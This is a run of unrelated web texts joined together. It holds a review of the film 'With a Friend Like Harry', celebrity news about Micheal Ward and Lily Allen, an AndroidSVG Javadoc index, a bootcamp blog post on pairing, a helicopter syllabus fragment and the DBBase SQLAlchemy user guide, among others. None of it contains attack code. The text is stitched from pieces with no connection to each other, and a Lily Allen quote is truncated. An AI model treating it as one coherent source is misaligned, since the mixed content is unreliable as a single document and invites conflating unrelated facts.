WITH A FRIEND LIKE HARRY (Harry, un ami qui vous veut du bien) (director/writer: Dominik Moll; screenwriter: Gilles Marchand; cinematographer: Matthieu Poirot-Delpech; editor: Yannick Kergoat; cast: Laurent Lucas (Michel), Sergi López (Harry), Mathilde Seigner (Claire), Sophie Guillemin (Plum), Liliane Rovčre (Mother), Dominique Rozan (Father), Michel Fau (Eric), Laurie Caminata (Sarah), Victoire de Koster (Jeanne), Lorena Caminata (Iris); Runtime: 117; Miramax Zoë/Diaphana Films; 2001-France)
Reviewed by Dennis Schwartz
German-born director Dominik Moll's second feature, a comic thriller in French, is more like a Chabrol than a Hitchcock film, though a comparison to Hitch's "Strangers on a Train" is a reasonable one. Its theme could be that a comfortable, air-conditioned car, can help solve a lot of domestic problems. Or more mysteriously, it's a look at how an urban man who is stuck in the rat-race of modern life has awakened his dark side.
Michel (Laurent Lucas), who teaches Japanese businessmen French for a living in Paris, and his sometimes sarcastic but always pretty wife, Claire (Mathilde Seigner), are a typical nuclear couple in their thirties who are on a stressful family summer vacation in their fix-it-up stone farmhouse. They have decided to take a two hour ride to visit his parents in the middle of a heatwave, as the first we see of them is in the car ride. With no air conditioning and three whining young daughters in the back seat, the couple can't take the trip without having a splitting headache and stopping off at a rest area.
At the public bathroom, Michel meets an old school acquaintance Harry (Sergi Lopez). He does not recognize or even remember who Harry is, but Harry recalls everything about him including a poem he wrote in the school magazine and a sci-fi story he started but never completed entitled "Flying Monkeys," and that his father (Rozan) is a retired dentist who gave him a bridge when he was a youngster.  They are off to vacation in the Matterhorn, but because of this accidental meeting with Michel he changes his plans and inveigles his way into going to Michel's house as a guest. Michel has called the trip off to his dad's place because one of the girl's has an earache.
Harry greatly admires Michel's writing ability and has memorized that high school poem of his, reciting it from memory to the surprised Claire. She never even realized her husband wrote. Harry's new agenda is to get Michel to begin writing again, as he tries to be helpful to him by offering him financial assistance. Nice-guy Michel turns it down and doesn't know what to make of Harry's friendship, and is startled to learn that when his old car breaks down Harry buys him a brand new fully-equipped, air-conditioned SUV. This is something that Michel doesn't want but Harry, who drives a new Mercedes, is someone who believes every problem could be solved.
Michel and Claire also have another unwanted gift bestowed upon them, as his overbearing parents surprise him by fixing up his bathroom. The only problem is they pick a garish fuchsia color, which goes against the grain of their quiet country lifestyle and stands out against the rest of the house in a vulgar way.
Harry sets it upon himself to help Michel solve his domestic problems so he can write again, and soon dead family bodies are turning up all over the place. Even though the boyish looking Harry is an affable guy and Plum gets along great with the kids, the couple feel uncomfortable with Harry. There's something strange about him that they can't put their finger on.
The film's virtues are: the great acting job by Lopez, it is accomplished by slowly allowing us to see how really deranged his character is; the twists in the story that make it hard to guess what comes next, which gives us a bit of a shock at what is taking place as the story carefully builds toward its ironic ending; plus, there's the attempt to explain why Harry's so obsessed with Michel, which gives us an intellectual reason to enjoy the film. The film is done with wit and a sense of justifiable psychological chills. It is a frightening tale, but it is done in such a humorous manner that you might not realize how twisted it is until you start making a body count. It's most glaring fault is that it just seems to be too clever for its own good, as we never learn just what Harry's motivations are. It seems Harry thinks that the ordinary Michel is similar to him in spirit and that he is a projection of Michel's repressed impulses, and that Michel is someone who needs his help. With his help, Michel could be a great writer and wouldn't be weighed down by a bothersome family and forced to appease everyone... . Sometimes a reader reads more into a poem than what was really there!
REVIEWED ON 7/14/2001 GRADE: B
Dennis Schwartz: "Ozus' World Movie Reviews"
http://www.sover.net/~ozus
<EMAIL_ADDRESS>© ALL RIGHTS RESERVED DENNIS SCHWARTZ
========== X-RAMR-ID: 28797 X-Language: en X-RT-ReviewID: 236411 X-RT-TitleID: 1104269 X-RT-SourceID: 873 X-RT-AuthorID: 1315 X-RT-RatingText: B
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Micheal Ward explains why Top Boy made him ‘afraid’ to take Blue Story role
The actor and model thought the parts were too similar.
Micheal Ward has said he nearly turned down a part in Blue Story because he was “afraid” it was too similar to his leading role in Top Boy.
The actor and model found fame this year playing drug dealer Jamie in series three of Netflix’s revival of the gritty crime drama.
Blue Story is about two friends, Marco, played by Ward, and Timmy, played by Stephen Odubola, who go to school together in Peckham, south London, but end up in rival gangs.
Ward said the role of Marco was not one he initially wanted to take because of how similar it was to that of Jamie.
He said: “Obviously when I read it it spoke to me straight away but initially it wasn’t something that I wanted to do because I was afraid of how similar it was to my other role.
“But then I was like, ‘Nah, Blue Story, I have to be… there’s no way I’m going to miss out on this opportunity’.
“I sent it to my agent. They were just like, you know what, let’s just go for it and see what happens. And then when I got the role it was like there’s no going back now.”
Ward said he did not feel any pressure portraying London’s gang culture.
Instead, he said he was drawn to the part because he felt it would be “fun”.
He added: “I didn’t think there was any pressure taking on the responsibility, because I know I can portray someone that real.
“So the main thing for me was that I just didn’t want to get caught up with just this world.
“But then I realised Top Boy’s a series, Blue Story’s a movie, and they’re literally not the same thing at all.
“I just realised my character in this, it’s just young, energetic, and (I) can have so much fun with it. That’s what drew me to the role.”
Blue Story, written and directed by Andrew Onwubolu, known as Rapman, is in cinemas from Friday November 22.


Usage:
- Click and drag nodes (dots) around the page to view all content
- Use the arrow keys to move around and Page Down/Up to zoom out and in
- If edge connecting 2 nodes has an O in the middle, mouse over it for descriptions of the actions
Created by Micah "
WebBreacher" Hoffman.
Source is on Github at
https://github.com/WebBreacher/yoga if you'd like to help add content.


Chest roentgenogram findings. Each image has ground-glass opacity in the lower lung fields on both sides. a Image taken on June 2, 20XX, in the standing position, tube voltage of 130 kV, and tube current of 250 mA. b Image taken on June 22, 20XX, in the standing position, tube voltage of 130 kV, and current of 250 mA


you can see the code here: https://github.com/lockee14/reactMailViewer
Check it out
This website is intended for eve online player, using the official eve online API it provides multiple tools such as market data, appraisal, in-game mail management.
you can see the front-end code here: https://github.com/lockee14/eve-hub
I made this tool for visualizing market data on my website, different types of charts and indicators are available and it is customizable from colors to the types of charts and indicators displayed
Check it outyou can see the code here: https://github.com/lockee14/trello-clone
Check it out


Your bill payment is now confirmed and WingCash is waiting for the payment to arrive. Please allow 5-7 business days. If you need to cancel this payment or you want to view the payment status, please visit this link:
${billpay_update_url}


- getAdjustViewBounds() - Method in class com.caverock.androidsvg.SVGView
-
True when ImageView is adjusting its bounds
to preserve the aspect ratio of its drawable
- getAlignment() - Method in class com.caverock.androidsvg.PreserveAspectRatio
-
Returns the alignment value of this instance.
- getDocumentAspectRatio() - Method in class com.caverock.androidsvg.SVG
-
Returns the aspect ratio of the document as a width/height fraction.
- getDocumentDescription() - Method in class com.caverock.androidsvg.SVG
-
Returns the contents of the <desc>
element in the SVG document.
- getDocumentHeight() - Method in class com.caverock.androidsvg.SVG
-
Returns the height of the document as specified in the SVG file.
- getDocumentPreserveAspectRatio() - Method in class com.caverock.androidsvg.SVG
-
Return the "preserveAspectRatio" attribute of the root
<svg>
element in the form of an
PreserveAspectRatio
object.
- getDocumentSVGVersion() - Method in class com.caverock.androidsvg.SVG
-
Returns the SVG version number as provided in the root <svg>
tag of the document.
- getDocumentTitle() - Method in class com.caverock.androidsvg.SVG
-
Returns the contents of the <title>
element in the SVG document.
- getDocumentViewBox() - Method in class com.caverock.androidsvg.SVG
-
Returns the viewBox attribute of the current SVG document.
- getDocumentWidth() - Method in class com.caverock.androidsvg.SVG
-
Returns the width of the document as specified in the SVG file.
- getFromAsset(AssetManager, String) - Static method in class com.caverock.androidsvg.SVG
-
Read and parse an SVG from the assets folder.
- getFromInputStream(InputStream) - Static method in class com.caverock.androidsvg.SVG
-
Read and parse an SVG from the given InputStream
.
- getFromResource(Context, int) - Static method in class com.caverock.androidsvg.SVG
-
Read and parse an SVG from the given resource location.
- getFromResource(Resources, int) - Static method in class com.caverock.androidsvg.SVG
-
Read and parse an SVG from the given resource location.
- getFromString(String) - Static method in class com.caverock.androidsvg.SVG
-
Read and parse an SVG from the given String
.
- getMaxHeight() - Method in class com.caverock.androidsvg.SVGView
-
The maximum height of this view.
- getMaxWidth() - Method in class com.caverock.androidsvg.SVGView
-
The maximum width of this view.
- getRenderDPI() - Method in class com.caverock.androidsvg.SVG
-
Get the current render DPI setting.
- getRenderingMethod() - Method in class com.caverock.androidsvg.SVGView
-
- getScale() - Method in class com.caverock.androidsvg.PreserveAspectRatio
-
Returns the scale value of this instance.
- getVersion() - Static method in class com.caverock.androidsvg.SVG
-
Returns the version number of this library.
- getViewList() - Method in class com.caverock.androidsvg.SVG
-
Returns a list of ids for all <view>
elements in this SVG document.
- registerExternalFileResolver(SVGExternalFileResolver) - Static method in class com.caverock.androidsvg.SVG
-
Register an
SVGExternalFileResolver
instance that the renderer should use when resolving
external references such as images, fonts, and CSS stylesheets.
- RenderOptions - Class in com.caverock.androidsvg
-
- RenderOptions() - Constructor for class com.caverock.androidsvg.RenderOptions
-
Create a new RenderOptions
instance.
- RenderOptions(RenderOptions) - Constructor for class com.caverock.androidsvg.RenderOptions
-
Creates a copy of the given RenderOptions
object.
- renderToCanvas(Canvas) - Method in class com.caverock.androidsvg.SVG
-
Renders this SVG document to a Canvas object.
- renderToCanvas(Canvas, RectF) - Method in class com.caverock.androidsvg.SVG
-
Renders this SVG document to a Canvas object.
- renderToCanvas(Canvas, RenderOptions) - Method in class com.caverock.androidsvg.SVG
-
Renders this SVG document to a Canvas object.
- renderToPicture() - Method in class com.caverock.androidsvg.SVG
-
Renders this SVG document to a Picture object.
- renderToPicture(int, int) - Method in class com.caverock.androidsvg.SVG
-
Renders this SVG document to a
Picture
.
- renderToPicture(RenderOptions) - Method in class com.caverock.androidsvg.SVG
-
Renders this SVG document to a
Picture
.
- renderToPicture(int, int, RenderOptions) - Method in class com.caverock.androidsvg.SVG
-
Renders this SVG document to a
Picture
.
- renderViewToCanvas(String, Canvas) - Method in class com.caverock.androidsvg.SVG
-
Renders this SVG document to a Canvas using the specified view defined in the document.
- renderViewToCanvas(String, Canvas, RectF) - Method in class com.caverock.androidsvg.SVG
-
Renders this SVG document to a Canvas using the specified view defined in the document.
- renderViewToPicture(String, int, int) - Method in class com.caverock.androidsvg.SVG
-
Renders this SVG document to a
Picture
using the specified view defined in the document.
- resolveCSSStyleSheet(String) - Method in class com.caverock.androidsvg.SimpleAssetResolver
-
Attempt to find the specified stylesheet file in the "assets" folder and return its string contents.
- resolveCSSStyleSheet(String) - Method in class com.caverock.androidsvg.SVGExternalFileResolver
-
Called by the parser to resolve CSS stylesheet file references in <?xml-stylesheet?>
processing instructions.
- resolveFont(String, int, String) - Method in class com.caverock.androidsvg.SimpleAssetResolver
-
Attempt to find the specified font in the "assets" folder and return a Typeface object.
- resolveFont(String, int, String) - Method in class com.caverock.androidsvg.SVGExternalFileResolver
-
Called by renderer to resolve font references in <text> elements.
- resolveImage(String) - Method in class com.caverock.androidsvg.SimpleAssetResolver
-
Attempt to find the specified image file in the assets
folder and return a decoded Bitmap.
- resolveImage(String) - Method in class com.caverock.androidsvg.SVGExternalFileResolver
-
Called by renderer to resolve image file references in <image> elements.
- setAdjustViewBounds(boolean) - Method in class com.caverock.androidsvg.SVGView
-
Set this to true if you want the ImageView to adjust its bounds
to preserve the aspect ratio of its drawable.
- setCSS(String) - Method in class com.caverock.androidsvg.SVGImageView
-
Directly set the CSS.
- setCSS(String) - Method in class com.caverock.androidsvg.SVGView
-
Directly set the CSS.
- setDocumentHeight(float) - Method in class com.caverock.androidsvg.SVG
-
Change the height of the document by altering the "height" attribute
of the root <svg>
element.
- setDocumentHeight(String) - Method in class com.caverock.androidsvg.SVG
-
Change the height of the document by altering the "height" attribute
of the root <svg>
element.
- setDocumentPreserveAspectRatio(PreserveAspectRatio) - Method in class com.caverock.androidsvg.SVG
-
Change the document positioning by altering the "preserveAspectRatio"
attribute of the root <svg>
element.
- setDocumentViewBox(float, float, float, float) - Method in class com.caverock.androidsvg.SVG
-
Change the document view box by altering the "viewBox" attribute
of the root <svg>
element.
- setDocumentWidth(float) - Method in class com.caverock.androidsvg.SVG
-
Change the width of the document by altering the "width" attribute
of the root <svg>
element.
- setDocumentWidth(String) - Method in class com.caverock.androidsvg.SVG
-
Change the width of the document by altering the "width" attribute
of the root <svg>
element.
- setImageAsset(String) - Method in class com.caverock.androidsvg.SVGImageView
-
Load an SVG image from the given asset filename.
- setImageAsset(String) - Method in class com.caverock.androidsvg.SVGView
-
Load an SVG image from the given asset filename.
- setImageResource(int) - Method in class com.caverock.androidsvg.SVGImageView
-
Load an SVG image from the given resource id.
- setImageResource(int) - Method in class com.caverock.androidsvg.SVGView
-
Load an SVG image from the given resource id.
- setImageURI(Uri) - Method in class com.caverock.androidsvg.SVGImageView
-
Load an SVG image from the given resource URI.
- setImageURI(Uri) - Method in class com.caverock.androidsvg.SVGView
-
Load an SVG image from the given resource URI.
- setInternalEntitiesEnabled(boolean) - Static method in class com.caverock.androidsvg.SVG
-
Tells the parser whether to allow the expansion of internal entities.
- setMaxHeight(int) - Method in class com.caverock.androidsvg.SVGView
-
An optional argument to supply a maximum height for this view.
- setMaxWidth(int) - Method in class com.caverock.androidsvg.SVGView
-
An optional argument to supply a maximum width for this view.
- setRenderDPI(float) - Method in class com.caverock.androidsvg.SVG
-
Set the DPI (dots-per-inch) value to use when rendering.
- setRenderingMethod(SVGView.RenderingMethod) - Method in class com.caverock.androidsvg.SVGView
-
- setSVG(SVG) - Method in class com.caverock.androidsvg.SVGImageView
-
Directly set the SVG that should be rendered by this view.
- setSVG(SVG, String) - Method in class com.caverock.androidsvg.SVGImageView
-
Directly set the SVG and the CSS.
- setSVG(SVG) - Method in class com.caverock.androidsvg.SVGView
-
Directly set the SVG that should be rendered by this view.
- setSVG(SVG, String) - Method in class com.caverock.androidsvg.SVGView
-
Directly set the SVG and the CSS.
- SimpleAssetResolver - Class in com.caverock.androidsvg
-
- SimpleAssetResolver(AssetManager) - Constructor for class com.caverock.androidsvg.SimpleAssetResolver
-
- START - Static variable in class com.caverock.androidsvg.PreserveAspectRatio
-
Keep the document's aspect ratio, but scale it so that it fits neatly inside the viewport.
- STRETCH - Static variable in class com.caverock.androidsvg.PreserveAspectRatio
-
Stretch horizontally and vertically to fill the viewport.
- SVG - Class in com.caverock.androidsvg
-
AndroidSVG is a library for reading, parsing and rendering SVG documents on Android devices.
- SVGExternalFileResolver - Class in com.caverock.androidsvg
-
Resolver class used by the renderer when resolving font, image, and external CSS references.
- SVGExternalFileResolver() - Constructor for class com.caverock.androidsvg.SVGExternalFileResolver
-
- SVGImageView - Class in com.caverock.androidsvg
-
SVGImageView is a View widget that allows users to include SVG images in their layouts.
- SVGImageView(Context) - Constructor for class com.caverock.androidsvg.SVGImageView
-
- SVGImageView(Context, AttributeSet) - Constructor for class com.caverock.androidsvg.SVGImageView
-
- SVGImageView(Context, AttributeSet, int) - Constructor for class com.caverock.androidsvg.SVGImageView
-
- SVGParseException - Exception in com.caverock.androidsvg
-
Thrown by the parser if a problem is found in the SVG file.
- SVGView - Class in com.caverock.androidsvg
-
SVGView is a View widget that allows you to include SVG images in your layouts.
- SVGView(Context) - Constructor for class com.caverock.androidsvg.SVGView
-
- SVGView(Context, AttributeSet) - Constructor for class com.caverock.androidsvg.SVGView
-
- SVGView(Context, AttributeSet, int) - Constructor for class com.caverock.androidsvg.SVGView
-
- SVGView(Context, AttributeSet, int, int) - Constructor for class com.caverock.androidsvg.SVGView
-
- SVGView.RenderingMethod - Enum in com.caverock.androidsvg
-


Feedback in DBC
March 29, 2015
For our cultural blog this week we're asked to discuss our experience around pairing and feedback. For someone not familiar with the term, pairing is the exercise of video chatting with another programmer as you work through a problem, and you both contribute to the code in a shared app. For me, pairing has been both enjoyable and overwhelming so far. I think that pairing is a great idea in Phase 0 as we are all working remotely so we can meet one another and ask questions if we get stuck. I can also see other real-world benefits of it, for example if one person gets stuck, the pair can assist, or stopping one other from making the solution too complicated/going down rabbit holes. On the other hand, I am very much an introvert. I learn best by working through things in my head, and most of the time I prefer to solidify the concepts on my own.
It's been tough for me to try and think out loud because I find it hard to keep track of things out loud. For instance, when reading through the instructions out loud - I'm paying attention to reading them, instead of understanding what I'm supposed to do. I find that I have to re-read the instructions in my head afterwards so I know where to go next. I have also had the feeling of being overwhelmed to come up with an idea right away. When you're sharing the code screen, sometimes I just want to sit and think about the problem for a minute, but my pair might want to actually play around with the code which makes things difficult sometimes. I find myself wanting to copy the code all the time to a separate window so I can just think about the problem as it is on the screen. Overall I'm enthusiastic about the idea, but not sure if I'd want to be pairing in my job all day, every day.
To switch gears and move onto the feedback portion, I think my experience has been a bit different. I've been working at a job which requires daily communication both internally at my firm as well as externally with clients, so I think I have a good grip on being able to communicate while pairing and creating a positive environment to work in. On that note, my feedback that I've received so far has been more about thinking out loud more rather than on how I interact with others. I do really value getting feedback in general though during this remote portion of the program as it gives us a good benchmark as to how far along we are comparatively and makes sure we're on par with the expectations of the course.
I felt that writing feedback as specified for this program is a bit difficult as it should be specific without including details such as gender, and knowing it will be broadcasted and rated. I'm definitely still working on providing helpful feedback in a kind manner to ensure that the message is coming across without inadvertently upsetting the other person. I've also had some wonderful pairing sessions in which I struggled to come up with any actionable items.
Overall I think both pairing and feedback are great learning tools in this program especially now when we are all remote. The A.S.K. (Actionable, Specific, and Kind) concept of feedback is one of the things I love about DBC's culture as it promotes learning and growth, and I'm glad to be learning and adopting this mindset.


Welcome to the home of the Lions of Albion
The Lions is a faction in the live action roleplaying game run by Curious Pastimes.
Our main community is found on Facebook here: The Lions: Curious Pastimes.
More details can be found here: We are the Lions.
You can reach us on email at: cplions@gmail.com.


This application checks if your domain name is valid by a regular expression!
Enter your domain here:
Your triangle:


Lily Allen ‘crying’ over Jeremy Corbyn's Labour manifesto is a little bizarre
Lily Allen might have been planning to stay out of the country until Brexit was over, but she’s back – and ‘crying’ over the Labour manifesto for the upcoming general election.
Jeremy Corbyn laid out his party’s promises today, ahead of the vote on 12 December, and it looks like Lily’s a massive fan of them.
 I think it’s the best manifesto I’ve ever seen.’
Advertisement Advertisement
Lily had earlier shared a photo of her polling card on Instagram alongside the caption ‘Tories OUT’ – so there’s no guesses who she’s going to be voting for in the election.
Part of the promises Labour have made include environmental improvements, nationalising public services and protecting the NHS, and giving the public the final say on the terms of Brexit with the option to remain in the European Union.
Lily flew out to the USA in October to avoid all the Brexit commotion in the UK, telling her followers: ‘Leaving UK till after Brexit. Good Luck Kids.’
However, with Brexit not being finalised on 31 October as Boris Johnson had repeatedly claimed he would do, Lily’s had to come back to the same situation.
Lily’s always been open about her political views and her criticism of the way the country is currently being run and how Brexit is being handled.
The singer has also been spending more time in the USA since starting to date Stranger Things actor David Harbour a few months ago.
She also hit the headlines after claiming the song Rule Britannia should be banned, to which fans told her she spent too much time ‘crying about pointless things’.
Got a showbiz story?
If you've got a story, video or pictures get in touch with the Metro.co.uk Entertainment team by emailing us<EMAIL_ADDRESS>calling 020 3615 2145 or by visiting our Submit Stuff page - we'd love to hear from you.


 - THE Legend: SLJ
Keep the rakes off the plane by collecting as many as possible without hitting yourself! Press: 'e' for easy 'm' for medium 'h' for hard 's' for SAMUEL L JACKSON mode!


{% extends 'layouts/base.html' %} {% block content %}
There are existing relations, which do not allow the deletion of this object:


Syllabus Listing Helicopter Course - Stage 1
H1 - Control the helicopter on the Ground.
H1.1 Blah Blah on the Ground.
| Code | Description | Progress | Stamp As |
|---|---|---|---|
| H1.1.(a) |
Ensure the helicopter is in a suitable location for starting the engine and rotors.
#12345 |
|


User Guide¶
DBBase is a base implementation for creating SQLAlchemy models in a similar fashion to Flask-SQLAlchemy, but for use outside of the Flask environment. By using this it provides continuity to the code base, and maintains some the design advantages that Flask-SQLAlchemy implements.
DBBase also embodies default serialization / deserialization services as part of the Model class to cut down on total coding. Since much of the purpose of serialization is the creation of JSON objects that are to be used by JavaScript, it also can automatically convert the keys to camelCase (and back) as well.
Introduction¶
SQLAlchemy’s design implements a clear separation between the session object, connections to a database, and the table definitions, the model. With such a separation, normal database usage involves carrying the session object into each program or function and combining it with the table class model for the appropriate actions.
Flask-SQLAlchemy uses SQLAlchemy, but provides an alternate approach to the design by embodying the session object into a primary database object (usually db), and suffusing the query into the table models as well. By doing so, many of the tools for interacting with the database are present and available within a table class.
DBBase maintains some continuity with the Flask-SQLAlchemy coding style.
Database Connections¶
Connecting to a database can be done as follows:
from dbbase import DB
db = DB(config, model_class=None, checkfirst=True, echo=False)
The config is the database URI. There is a convenience function, db_config that can help configure this URI. For example:
from dbbase import DB, db_config
config = db_config(
base="postgresql://{user}:{pass}@{host}:{port}/{dbname}",
config_vars={
'user': 'auser',
'pass': '123',
'host': 'localhost',
'port': 5432,
'dbname': 'mydatadb'
}
)
db = DB(config=config, checkfirst=True, echo=False)
# create any tables that are new, create a session object
# that is found at db.session
db.create_all()
db_config just combines a base string with dict of variables, resulting in a string that is fed into DB to configure the connection. So it can be complicated if necessary, but probably will not have to be.
model_class can substitute a different Model than this package, but it is expected that normally the default would suffice.
checkfirst if True, will not recreate a table if it already exists in the database.
echo if True logs the database interactions.
Unlike Flask-SQLAlchemy, DB does not default to an environment variable SQLALCHEMY_DATABASE_URI. However, you could still use it by extracting it from the environment and feeding it into DB.
Model Interactions¶
The following code compares typical table definition styles:
# SQLAlchemy
Base = declarative_base()
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
name = Column(String(30), nullable=False)
addresses = relationship(
"Address", backref="user", lazy='immediate')
# Flask-SQLAlchemy
class User(db.Model):
__tablename__ = 'users'
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(30), nullable=False)
addresses = db.relationship(
"Address", backref="user", lazy='immediate')
# DBBase
class User(db.Model):
__tablename__ = 'users'
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(30), nullable=False)
addresses = db.relationship(
"Address", backref="user", lazy='immediate')
Now if the only difference is a standard as to whether to explicitly import Column, and other classes, or have it ride around on db, no one would care.
The differences can be seen when interacting with the database. There is a ready conduit to the database within each class. For example, below shows filtering under all three scenarios.
# SQLAlchemy
qry = session.query(User).filter_by(name='Bob').all()
# Flask-SQLAlchemy
qry = User.query.filter_by(name='Bob').all()
# DBBase
qry = User.query.filter_by(name='Bob').all()
The query object is conveniently available for use in the Model class.
First, we will create a user:
# both Flask-SQLAlchemy and DBBase
user = User(name='Bob')
db.session.add(user)
db.session.commit()
DBBase also has a reference for convenience to the db variable within the Model class and the object instance.
# or DBBase via Model class
user = User(name='Bob')
User.db.session.add(user)
User.db.session.commit()
# or instance object
user = User(name='Bob')
user.db.session.add(user)
user.db.session.commit()
Or, saving can be done via:
# DBBase
user = User(name='Bob')
User.save()
# or even shorter
user = User(name='Bob').save()
Deletion can also be done via the instance.
# DBBase
user = User(name='Bob')
User.save()
# then delete
user.delete()
Record Validation¶
A minor check can be performed prior to saving a record to ensure that all required fields have values. If there are any default values for the table, those will be ignored, but otherwise you can get a quick list of required columns without values.
status, errors = self.validate_record()
if status:
self.save()
else:
return errors
Suppose you have a user table with required first and last names. A user is created, but for some reason the last name is not filled in.
status, errors = user.validate_record()
>> False, {"missing_values": ["last_name"]}
For consistency when communicating from an API to a front end application, a conversion to camel case can be done as well.
status, errors = user.validate_record(camel_case=True)
>> False, {"missingValues": ["lastName"]}
Caveat
DBBase objects provide access to the SQLAlchemy query object, not the Flask-SQLAlchemy query object. Therefore you would not expect User.query.get_or_404 to be available.
Serialization¶
For convenience building RESTful APIs, a default serialization function is available for outputting JSON style strings. In addition, by default it converts the keys to camelCase style to correspond to JavaScript conventions.
To illustrate some of the features, we will look at two examples: The first will be two tables, one for users and one for addresses
After the initial import and db creation, we create two tables. The users table has a relationship with addresses where the user_id entered into the address table must be found in the users table.
As an aside, note that the password column is a WriteOnlyColumn for discussion later.
# create db that is sqlite in memory
from dbbase import DB
db = DB(config=':memory:')
class User(db.Model):
__tablename__ = 'users'
id = db.Column(db.Integer, primary_key=True)
first_name = db.Column(db.String(50), nullable=False)
last_name = db.Column(db.String(50), nullable=False)
password = db.WriteOnlyColumn(db.String, nullable=False)
addresses = db.relationship(
"Address", backref="user", lazy='immediate')
def full_name(self):
return '{first} {last}'.format(
first=self.first_name, last=self.last_name)
class Address(db.Model):
__tablename__ = 'addresses'
id = db.Column(db.Integer, primary_key=True)
email_address = db.Column(db.String, nullable=False)
user_id = db.Column(db.Integer, db.ForeignKey('users.id'))
db.create_all()
user = User(first_name='Bob', last_name='Smith')
user.save()
address1 = Address(
<EMAIL_ADDRESS>user_id=user.id
)
address2 = Address(
<EMAIL_ADDRESS>user_id=user.id
)
db.session.add(address1)
db.session.add(address2)
db.session.commit()
Accordingly, it makes sense that when the user data is to be pulled from an API the relevant addresses be included.
>>> print(user.serialize(indent=2))
{
"addresses": [
{
"userId": 3,
"emailAddress"<EMAIL_ADDRESS>"id": 1
},
{
"userId": 3,
"emailAddress"<EMAIL_ADDRESS>"id": 2
}
],
"lastName": "Smith",
"fullName": "Bob Smith",
"id": 3,
"firstName": "Bob"
}
The default serialization opts for the keys to be put into camelCase. In addition, it walks the object dictionary and recursively evaluates any relationships as well, under the assumption that it would minimize the number of trips to the API from the front end.
WriteOnlyColumn¶
The user table above includes a password column using a db.WriteOnlyColumn. By using this type of column, a table can automatically exclude that column from serialization once the value has been filled in. This avoids an awkward mistake accidentally outputting even an encrypted password, yet including the field when None for forms to a front-end application adding a new user.
Controlling Serialization¶
You have the ability to limit or expand the items that are included.
SERIAL_STOPLIST is a Model class variable that is a list of fields to ignore
SERIAL_FIELDS is a Model class variable that is a list of fields that would be included. Additional methods can be included in this list to enable fields like fullname in place of first_name and last_name.
SERIAL_FIELD_RELATIONS is a Model class variable that is a dictionary. With this variable you can specify what fields a relation will show. While you could go to the table definition for that relation and specify it directly, using the SERIAL_FIELD_RELATIONS variable enables you to show the specific fields appropriate for when that relationship is included with the current table, but have a standard method when show the relation table directly. An example below will help explain that further.
serialize of course can be overwritten in your class model so if either method is not right for your situation it is easy enough to set right for that particular class yet use the defaults for other tables.
To reduce ambiguity, if SERIAL_FIELDS is used, serialization assumes that the list is explicitly what you want, and ignores the SERIAL_STOPLIST.
From examining the output that we have above, suppose we decide that we will just present the full name and not first_name and last_name.
In that case would do the following:
class User(db.Model):
__tablename__ = 'users'
SERIAL_STOPLIST = ['first_name', 'last_name']
id = db.Column(db.Integer, primary_key=True)
first_name = db.Column(db.String(50), nullable=False)
last_name = db.Column(db.String(50), nullable=False)
addresses = db.relationship(
"Address", backref="user", lazy='immediate')
def full_name(self):
return '{first} {last}'.format(
first=self.first_name, last=self.last_name)
Now when we run serialize, the fields first_name and last_name are filtered out.
>>> print(user.serialize(indent=2))
{
"addresses": [
{
"userId": 3,
"emailAddress"<EMAIL_ADDRESS>"id": 1
},
{
"userId": 3,
"emailAddress"<EMAIL_ADDRESS>"id": 2
}
],
"id": 3,
"fullName": "Bob Smith"
}
Now since user_id in addresses is redundant, we can also filter that out. Let us remove id from addresses as well. We could do this by adding both to a stop list by:
Address.SERIAL_STOPLIST = ['id', 'user_id']
But instead, we can minimize our typing by instead adding just the email address to SERIAL_FIELDS. As in the following:
class Address(db.Model):
__tablename__ = 'addresses'
SERIAL_FIELDS = ['email_address']
id = db.Column(db.Integer, primary_key=True)
email_address = db.Column(db.String, nullable=False)
user_id = db.Column(db.Integer, db.ForeignKey('users.id'))
Running user.serialize() again we have a more compact result
>>> print(user.serialize(indent=2))
{
"addresses": [
{
"emailAddress"<EMAIL_ADDRESS>},
{
"emailAddress"<EMAIL_ADDRESS>}
],
"id": 3,
"fullName": "Bob Smith"
}
Dictionary keys have not been guaranteed to print in a particular order, although that is changing. If the order of the keys in serialization are important in your application, you can control that by putting those variables in SERIAL_FIELDS.
User.SERIAL_FIELDS = ['id', 'first_name', 'last_name', 'addresses']
>>> print(user.serialize(indent=2))
{
"id": 3,
"firstName": "Bob",
"lastName": "Smith",
"addresses": [
{
"userId": 3,
"emailAddress"<EMAIL_ADDRESS>"id": 1
},
{
"userId": 3,
"emailAddress"<EMAIL_ADDRESS>"id": 2
}
]
}
Example of SERIAL_FIELD_RELATIONS
In the example above we controlled the output for Address by using Address.SERIAL_FIELDS = [‘email_address’]. That means that any time an API would call for an addres only the email address would be returned. If it is only going to be returned in conjunction with a user, that may be acceptable. However, there are many secondary relationships where more control would be helpful.
In the following code block we will see our tables created again, but with the use of the SERIAL_FIELD_RELATIONS variable to help us to a more refined output.
class User(db.Model):
__tablename__ = 'users'
SERIAL_STOPLIST = ['first_name', 'last_name']
SERIAL_FIELD_RELATIONS = {
"Address": ["id", "email_address"]
}
id = db.Column(db.Integer, primary_key=True)
first_name = db.Column(db.String(50), nullable=False)
last_name = db.Column(db.String(50), nullable=False)
addresses = db.relationship(
"Address", backref="user", lazy='immediate')
def full_name(self):
return '{first} {last}'.format(
first=self.first_name, last=self.last_name)
class Address(db.Model):
__tablename__ = 'addresses'
id = db.Column(db.Integer, primary_key=True)
email_address = db.Column(db.String, nullable=False)
user_id = db.Column(db.Integer, db.ForeignKey('users.id'))
>>> print(user.serialize(indent=2))
{
"id": 3,
"firstName": "Bob",
"lastName": "Smith",
"addresses": [
{
"emailAddress"<EMAIL_ADDRESS>"id": 1
},
{
"emailAddress"<EMAIL_ADDRESS>"id": 2
}
]
}
When a field is found to be an instance of a class that is a key in the SERIAL_FIELD_RELATIONS dictionary, the corresponding list is used for that class in place of the default class.
Ad Hoc Variables
Both the serialize and to_dict functions have parameters of serial_fields and serial_field_relations. If not used, the default class variables are used. However, with these variables, you can generate custom serializations on the fly to better match specific requirements.
